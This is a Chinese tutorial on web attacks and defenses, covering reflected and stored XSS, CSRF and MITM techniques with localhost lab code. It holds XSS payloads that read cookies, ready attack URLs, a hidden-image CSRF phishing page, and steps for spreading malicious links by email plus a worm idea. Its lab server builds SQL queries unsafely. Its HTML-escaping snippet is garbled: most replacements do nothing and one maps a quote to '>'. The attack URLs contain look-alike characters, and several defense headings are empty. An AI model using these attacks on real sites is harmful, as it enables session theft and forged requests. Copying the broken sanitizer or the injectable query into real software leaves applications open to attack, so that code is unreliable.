赞
踩
XSS攻击是一种脚本注入攻击,通过在网站注入恶意脚本来进行破坏。
(XSS可行性分析) 确定要攻击的页面和攻击对象。
(攻击脚本制作) 当确认了可攻击页面和攻击目标群体之后,制作恶意攻击代码。
(URL传播) 制作完恶意脚本后将脚本加入对应页面URL中,将URL拷贝下来。可以通过邮件等方式诱导目标群体点击该URL,点击后进入页面将运行攻击脚本。
运行下述的代理服务器和应用服务器代码
访问http://localhost:3000/A.html。
进行XSS可行性分析,发现存在用户插入文档的能力,推测可以进行DOM型XSS攻击。随意写一条评论后,发现URL也改变,推测可以进行反射型XSS攻击。
攻击脚本制作,本次攻击计划替代用户的操作,浏览器自动弹出对话框显示“您正在被XSS攻击”,尝试在script标签下用alert实现
攻击脚本测试,把攻击脚本作为评论提交,发现没有任何响应。查看页面源代码,发现是使用innerHTML插入评论,innerHTML只会启动HTML解释器,不会解释JavaScript。如果是php代码的话直接使用echo插入可以解释JavaScript,此脚本可以成功。
重新制作攻击脚本,使用img标签,设置一个不可能存在的src,设置onerror处理函数,在其中添加alert。
攻击脚本测试,把攻击脚本重新提交,发现浏览器出现弹窗。此时证实了该客户端和服务端防御XSS能力不足,可以进行攻击。
收集刚刚提交攻击脚本后产生的URL,将此URL通过电子邮件进行传播
<h3>评论区</h3> <div style="height: 100px; width: 200px; border: 1px solid black;"></div> <input type="text"/> <button onclick="handleClick()">提交您的评论</button> <script> let input = document.querySelector("input") let url = location.href // 每次加载页面时把URL中的查询参数加载到input中 document.addEventListener("DOMContentLoaded", function() { let paramStart = url.indexOf("=") if(paramStart !== -1) { input.value = decodeURIComponent(url.slice(paramStart + 1)) fetch("/api/input?value=" + input.value).then(res => res.text()).then(res => { if(res === "ok") { let div = document.querySelector("div") div.innerHTML = input.value input.before(div) } }) } }) // 点击时改变URL,加上查询参数,触发一次导航事件 function handleClick() { let param = url.slice(url.indexOf("=") + 1) if(param != location.href) // 多次点击 location.href = url.replace(param, input.value) else // 第一次点击 location.href += "/api/input?value=" + input.value } </script>
let fs = require("fs").promises let proxy = require("http-proxy").createProxyServer({}) require("http").createServer(function(req, res) { if(req.url.slice(0, 4) === "/api") proxy.web(req, res, { target: "http://localhost:4000" }) else fs.readFile("." + req.url.slice(0, req.url.indexOf("html") + 4)).then(data => { res.writeHead(200, { "Content-Type": "text/html" }) res.write(data) res.end() }) }).listen(3000)
require("http").createServer((req, res) => {
if(req.url.slice(0, 10) === "/api/input") {
let search = req.url.slice(17)
// 这里省略了保存审核等操作,实际应用时可能会把这个评论内容保存下来
res.write("ok")
res.end()
}
}).listen(4000)
<img src="x" onerror="alert('您正在遭受XSS攻击')" style="visibility: hidden;">
// 将攻击脚本作为评论发布后获取URL,此时得到一个制作完成的攻击URL
// http://localhost:3000/A.html/api/input?value=%3Cimg%20src=%22x%22%20οnerrοr=%22alert(%27%E6%82%A8%E6%AD%A3%E5%9C%A8%E9%81%AD%E5%8F%97XSS%E6%94%BB%E5%87%BB%27)%22%20style=%22visibility:%20hidden;%22%3E
// 注:评论页面在这里命名是A.html,你也可以选择其它名称
客户端—>服务端—>客户端
根据下述mysql建表语句创建mysql表。
运行代理服务器和应用服务器。
访问http://localhost:3000/A.html, 模仿“反射型XSS攻击”进行XSS可行性分析和攻击脚本制作,测试。
发现数据库可上传能力。假设你被人告知或自己研究发现,你在该页面上传的评论一定会被存入数据库。
反复上传。你可以根据此思路,反复上传含有你的攻击脚本的评论,当用户点击页面的“获取评论”时,数据库中你的攻击脚本将会源源不断地运行,如果攻击脚本含有alert,那么会一直卡住用户界面进行alert。
攻击脚本改进。当你反复上传攻击脚本后仍然不满足,你认为这种做法过于低效,希望有自动操作上传脚本。这时可以改进脚本,给“获取评论”按钮绑定一个新的事件监听器,每次用户点击后,会把获取的所有评论重新上传数据库。这样你的攻击脚本的数量将会以极快的速度增长,这就类似一个蠕虫病毒。(下面的攻击脚本没有实现这种改进)
<h3>评论区</h3> <div style="height: 100px; width: 200px; border: 1px solid black; overflow-y: scroll;"></div> <input type="text"/> <button onclick="handleClick()">提交您的评论</button> <button onclick="handleGet()">获取评论</button> <script> let input = document.querySelector("input") let div = document.querySelector("div") let url = location.href // 这里不考虑用户登录的页面,假设已经有了存储敏感信息的cookie,并且这个cookie没有任何防御措施。下面进行cookie初始化。 document.onreadystatechange = function() { if(document.readyState === "interactive") { document.cookie = "userName=Danny; path=/; max-age=600;" document.cookie = "password=79707536; path=/; max-age=600;" document.onreadystatechange = null console.log(document.cookie) } } // 每次加载页面时把URL中的查询参数加载到input中 document.addEventListener("DOMContentLoaded", function() { let paramStart = url.indexOf("=") if(paramStart !== -1) { input.value = decodeURIComponent(url.slice(paramStart + 1)) fetch("/api/input?value=" + input.value, { // 请求携带同源的cookie credentials: "same-origin" }).then(res => res.text()).then(res => { // 服务器操作如果成功后将评论插入评论区 if(res === "ok") { div.innerHTML = input.value input.before(div) } }) } }) // 提交评论时改变URL,加上查询参数,触发一次导航事件 function handleClick() { let param = url.slice(url.indexOf("=") + 1) if(param != location.href) // 多次点击 location.href = url.replace(param, input.value) else // 第一次点击 location.href += "/api/input?value=" + input.value } // 获取评论事件处理程序 function handleGet() { fetch("/api/show").then(res => res.text()).then(res => { res = JSON.parse(res) let comments = res.map(comment => decodeURIComponent(comment)) // 将评论进行展示 comments.forEach(comment => { div.insertAdjacentHTML("afterbegin", comment + "<br>") }) }) } </script>
const mysql = require("mysql") let pool = mysql.createPool({ host: "localhost", port: 3306, user: "root", password: "79707536", database: "test" }) // 将评论存入数据库 function storeComment(comment, user) { pool.getConnection((err, connection) => { // 插入数据库 connection.query(`insert comments values("${comment}", "${user}")`, (err, res) => {}) // 释放连接 connection.release() }) } // 获取数据库中所有评论 function showComment(res) { pool.getConnection((err, connection) => { // 插入数据库 connection.query(`select * from comments`, (err, rows) => { let i = 0, results = [] for({comment: results[i ++]} of rows); res.write(JSON.stringify(results)) res.end() }) // 释放连接 connection.release() }) } require("http").createServer((req, res) => { if(req.url.slice(0, 10) === "/api/input") { let cookie = req.headers.cookie let str = cookie.slice(cookie.indexOf("userName")) // 获取cookie中的userName字段值 let user = str.slice(str.indexOf("=") + 1, str.indexOf(";")) // 获取URL中携带的评论,先进行URI解码 let search = req.url.slice(17) // 将评论信息存入数据库 storeComment(search, user) res.write("ok") res.end() } else if(req.url.slice(0, 9) === "/api/show") { // 获取数据库中的全部评论 showComment(res); } }).listen(4000)
create table comments
(
comment varchar(255),
user varchar(255)
)
<img src="x" onerror="alert(document.cookie)" style="visibility: hidden;">
// 此时只要用户点击“获取所有评论”的按钮,那么就会收到数据库的恶意脚本,这个脚本会提示你的涉及私密信息的cookie已经被窃取了
// http://localhost:3000/A.html/api/input?value=%3Cimg%20src=%22x%22%20οnerrοr=%22alert(document.cookie)%22%20style=%22visibility:%20hidden;%22%3E
客户端—>服务端—>数据库—>服务端—>客户端
客户端—>客户端
当把用户输入插入到文档中时会调用HTML Parser进行解释,在“浏览器渲染原理”和“JavaScript解释器和编译器”中提到解释器工作原理。HTML Parser会将字符流转成token后再进行语法分析创建DOM树。如果用户插入内容只被当做text或者comment节点那么就不会触发恶意脚本。
(textContent) 插入内容时使用textContent属性,这个属性会把插入内容当做纯文本,不会启用HTML Parser (MDN提供此解决方案)
(内容转义) 如果不使用textContent,使用innerHTML或insertAdjacentHTML等方法插入要进行内容检测。这些方法在HTML5中要求只启用HTML Parser,不启用JavaScript解释器,这已经防御了带有script标签的用户输入,但无法防御img + onerror的注入。
// JavaScript权威指南第七版提供了解决方案
info = info
.replace(/&/g, "&")
.replace(/</g, "<") // 避免在语法分析中被当做标签
.replace(/"/g, ">") // 避免img + onerror情况,onerror设置属性需要双引号或单引号
.replace(/'/g, "'")
.replace(/\//g, "/")
可以选择为网页文档开启CSP,CSP相当于一层保护层,可以削弱或消灭网络攻击。CSP会约束网页的行为,主要体现于控制资源的加载。可以指定网页只能加载同源脚本,图片,视频等等。不能使用内联样式。网页只能向规定的源发送请求。
下述代码开启了非常严格的防护,主要目的是针对内联样式的修改。不能再调试控制台中修改内联样式,也不能通过脚本修改内联样式。
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta http-equiv="Content-Security-Policy" content="default-src 'self';"> <link href="http://localhost:3000/common.css" type="text/css" rel="stylesheet"> </head> <body> <!--meta content中规定了所有资源的引用只能是同源的,网络请求也是一样。--> <!--并且也不能使用内联样式,不能再head中用style标签写内联样式,元素上更不能写。只能外部引入--> <div class="div"></div> <script> let div = document.querySelector("div") div.style.width = "200px" </script> </body> </html>
下述代码和上述代码相比以相同的效果开启了CSP防护,但是如果meta和响应头中都指定了各自的CSP安全策略,那么响应头中的策略优先。
// 可以在代理服务器中对所有的响应都加上CSP策略
res.writeHead(200, {
"Content-Security-Policy": "default-src 'self';"
})
常见的键配置:
常见的值配置:
CSRF攻击是第三方网站以用户的名义伪造请求的攻击。诱导用户打开第三方网站,如果这时候用户没有关闭涉及隐私的tab页面,并且对应页面的cookie安全程度不高,那么此时第三方网站可以利用标签发起跨域请求,用未关闭页面的cookie伪造用户信息发起请求。
(CSRF可行性分析) 测试CSRF攻击是否能正常实施
(攻击请求制作) 制作伪造待攻击者的请求
(钓鱼网站传播) 通过电子邮件或者将钓鱼网站伪造成福利网站传播到论坛或群聊中
测试过程:
运行下面三个服务器的代码。假设你已经完成了CSRF可行性分析和攻击请求制作(你已经完成了钓鱼网页和对应的代理服务器代码)
访问钓鱼网页http://localhost:3001/B.html, 当打开钓鱼网页时会自动向目标应用服务器发送一个伪造请求。但目标服务器会进行cookie身份验证,目前没有cookie,验证失败,钓鱼失败。打开调试台的网络选项,查看请求的响应的状态码是403。关闭钓鱼网页。
访问用户网页http://localhost:3000/A.html, 打开后点击“获取cookie按钮”,此时应用服务器向用户发来cookie(实际应用是用户点击登录按钮后服务器发来cookie,这里进行模拟)。再点击“测试请求”按钮,此时在调试台可以看到输出,因为用户已经有了cookie验证信息,所以服务器同意了用户的请求。不要关闭该网页。
再次访问钓鱼网页,每次访问会自动向“测试请求”所在接口自动发送伪造请求。打开调试台的网络选项,查看请求的状态码是200,钓鱼成功。这是因为用户的cookie存储在本地,发起cookie的domain和path相同的请求时会自动携带cookie,虽然是第三方网页发起请求,但是也会携带本地满足条件的cookie。
<button onclick="getCookie()">获取cookie</button>
<button onclick="test()">测试请求</button>
<script>
window.onload = function() {
console.log(document.cookie)
}
function getCookie() {
fetch("/api/cookie").then(res => res.text()).then(console.log)
}
function test() {
fetch("/api/testGetConnection").then(res => res.text()).then(console.log)
}
</script>
let fs = require("fs").promises let proxy = require("http-proxy").createProxyServer({}) require("http").createServer(function(req, res) { if(req.url.slice(0, 4) === "/api") proxy.web(req, res, { target: "http://localhost:4000" }) else fs.readFile("." + req.url).then(data => { res.writeHead(200, { "Content-Type": "text/html" }) res.write(data) res.end() }) }).listen(3000)
require("http").createServer((req, res) => { if(req.url === "/api/testGetConnection") { // 查看是谁发来的请求,正常情况下是代理服务器下localhost:3000/A.html发来信息,被CSRF攻击是将不会是该路径 console.log(req.headers.referer) // 测试连接的接口 if(req.headers.cookie && req.headers.cookie.indexOf("name=Danny") !== -1 && req.headers.cookie.indexOf("gender=man") !== -1) res.write("ok") else // statusMessage不要出现中文 res.writeHead(403, "403 error") res.end() } else if(req.url === "/api/cookie") { // 获取cookie的接口 res.writeHead(200, { "Set-Cookie": ["name=Danny; max-age=120;", "gender=man; max-age=60;"] }) res.write("成功") res.end() } }).listen(4000)
<img style="visibility: hidden;" src="http://localhost:3000/api/testGetConnection">
let fs = require("fs").promises
require("http").createServer(function(req, res) {
fs.readFile("." + req.url).then(data => {
res.writeHead(200, {
"Content-Type": "text/html"
})
res.write(data)
res.end()
})
}).listen(3001)
Refered来源检测: 请求头中的Refered表明了该请求的发送方是谁。在上述例子中,钓鱼页面通过img标签的src发送伪造请求,这种请求很低级,只是携带cookie,无法改变自己的Refered。如果应用服务器中检测Refered那么这种钓鱼方法会失效。但是Refered也可以被伪造,如果上述例子中钓鱼网站的代理服务器添加反向代理功能,那么钓鱼网页可以直接用fetch或XMLHttpRequest发送请求,在代理服务器中修改请求头的Refered进行伪装
Token伪随机数检测: 服务器在发送响应时除了发送cookie之外,还可以添加一个自定义头Token,赋一个随机数值,并把这个值在服务器保留(保存在session中,相当于存在内存中),用于身份验证。每个用户发送请求时必须在请求头加上这个Token字段,并且每个用户的Token都不同,这样钓鱼网站无法伪造一个相同的Token。但是如果是一个大规模的网站的话,会涉及反向代理下的负载均衡,第一次是1号服务器给客户端发送了一个Token,第二次给客户端服务的就不一定是1号服务器了。想解决这个问题可以使用数据库存储而不是使用基于内存存储的session
双重Cookie验证: 服务器在客户端第一次请求时会正常在响应中给客户端发送cookie,并且注意这个cookie的path要特别设定,要能够让客户端通过document.cookie访问到。客户端第二次请求时除了正常的请求头中携带cookie之外,还要通过document.cookie获取cookie以参数的形式加在URL中,服务端将根据这两处的cookie进行验证。这个是利用了钓鱼网站只能利用cookie不能访问cookie的问题。*但是如果页面受到了XSS攻击就会失效,因为XSS注入脚本后可以获取cookie,而此时专门把cookie暴露出来,可以通过document.cookie访问。那么恶意脚本就可以伪造用户请求
Cookie同站: 服务器给客户端发送的cookie要添加same-site=strict或者lax(lax表示第三方网页导航到该网页时运行使用cookie),不允许第三方网站利用本网页的cookie。这样钓鱼网站无法利用cookie伪造请求。
不使用Cookie Cookie和Session的检验机制是基于内存的,检验速度快。如果为了安全,可以减低速度,每次检验都使用post方法请求,携带用户名和密码,服务端在数据库中进行验证。
MITM是指中间人攻击,指拦截正常的网络通信,进行嗅探或篡改,通信双方都不知情。
在物理层上的数据传播是广播形式,在一个局域网中多台主机通过集线器相连,一台主机想要和另一台通信时需要将消息广播出去,消息中含有发送主机的地址和目标主机的地址,和集线器相连的主机都会收到该消息,但由于地址不是目标主机地址,它们并不接收此消息。只有地址是目标地址的主机才会接收。但是可以将主机的网卡开启混杂模式,效果是不管自己的地址是否和目标地址匹配都会接收消息。 但是现在很少用集线器了,大多都是交换机和路由器,交换机有自学习功能进行转发,路由器控制层能够指定路由学习算法学习得到转发表,两者基本不会进行广播(不是不会进行广播),所以现在进行嗅探的效率不高。
注:从TCP/IP协议下看ARP工作在网络层(计算机网络(谢希仁,第八版)图示在网络层,和IP同层),工作在数据链路层的Mac帧的数据部分可以是IP数据报也可以是ARP数据报。从OSI分层模型看也可以说ARP工作在数据链路层。
ARP缓存表缺陷: ARP缓存表有一个缺陷。当主机收到ARP应答后,会把ARP缓存表中IP地址对应的MAC地址进行更新,但是主机不会确认自己是否发送过ARP请求。
攻击背景: 一个以太网中,有主机A,IP地址为192.168.0.1。主机B,IP地址为192.168.0.2。主机C,IP地址为192.168.0.3。路由器D,IP地址为192.168.0.4。此时假设所有主机的ARP缓存表为空,网关为路由器D。主机A如果想要与主机B通信,需要先向网关发送ARP报文,网关路由器会广播该报文,主机B收到后会做出回复,由网关再回复给主机A。
ARP欺骗: 主机C想要监听A和B的通信,可以利用上述第一点和第二点提到的内容。主机C先发送ARP报文,获取主机A的MAC地址。然后主机C向主机A发送一条欺骗性的ARP报文,告知主机A,这条报文来源于IP地址192.168.0.4是网关发来的,网关的MAC地址为主机C的MAC地址。此时主机A不会追究自己是否发过ARP请求,会直接更新ARP缓存表中的网关IP地址对应的MAC地址。此时A发送的消息都会交给C转发。
入侵DNS服务器,或者控制路由器,更改路由器转发表或更改DNS服务器中域名和IP的映射关系,把域名对应的IP修改成自己的攻击服务器。但是大多数情况用户都是使用ISP服务器,安全等级高,不容易被攻击。
客户端和服务端建立的TCP/IP通信就是一个会话。
寻找活动的会话: 可以使用物理层嗅探技术捕获所有请求,可以使用数据链路层ARP欺骗技术欺骗局域网中所有节点,用你的服务器代替网关捕获所有请求。
获取完整TCP报文: TCP报文分段发送,每一段都有特殊的序号码。你需要知道完整的序列号码才能分析报文,才能让你的服务器将其合理地转发出去。
会话劫持: 获取完整的TCP报文后可以得知请求头中cookie所包含的session信息。可由此伪造用户信息进行会话,同时可以选择切断用户的会话,你的服务器独享这一个会话。
注:上述劫持是中间人攻击的思路,也可以利用XSS攻击的思路,通过脚本注入来获取sessionId进而控制会话。
代理服务器功能强大,可以在更高的层次对网络请求进行拦截和转发,如果可以控制代理服务器就不需要上述几种方式费尽周折进行会话控制。只要能想办法向代理服务器中植入攻击代码,让代理服务器把拦截的请求和响应都转发给你。举例,代理服务器用户名密码泄漏,hacker可以立即控制代理服务器终止原有进程,把自己的攻击代码在代理服务器上运行。
物理层嗅探防御:
数据链路层ARP欺骗防御:
应用层的DNS劫持防御:
应用层的会话劫持防御:
代理服务器防御:
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。